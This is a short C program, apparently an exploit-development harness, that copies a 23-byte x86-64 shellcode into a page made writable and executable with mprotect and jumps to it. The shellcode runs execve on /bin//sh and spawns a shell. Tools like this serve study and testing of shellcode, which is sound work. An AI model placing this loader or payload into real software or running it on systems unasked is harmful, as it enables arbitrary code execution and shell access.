test and verify shellcode

shellcode_test.c

#include <stdio.h>
#include <sys/mman.h>
#include <unistd.h>
#include <stdlib.h>
#include <malloc.h>
#include <string.h>
#include <errno.h>

const char shellcode[] = 
  "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05";

int main(void)
{
    long sclen = sizeof(shellcode) / sizeof(shellcode[0]);
    printf("Length: %ld bytes\n", sclen - 1);
    
    // query page size
    long pagesz = sysconf(_SC_PAGESIZE);
    printf("Page size = %ld\n", pagesz);
        
    // allocate a page in memory
    errno = 0;
    void * buff = pvalloc(pagesz);
    if (NULL == buff) {
        perror("pvalloc");
        exit(1);
    }

    // int mprotect(void *addr, size_t len, int prot);
    errno = 0;
    if ( mprotect(buff, pagesz, PROT_READ | PROT_WRITE | PROT_EXEC) ) {
        perror("mprotect");
        exit(1);
    }

    // copy the shellcode in executable area
    memcpy(buff, shellcode, sclen);
    
    // execute shellcode
    (*(void(*)()) buff)();

    return 0;
}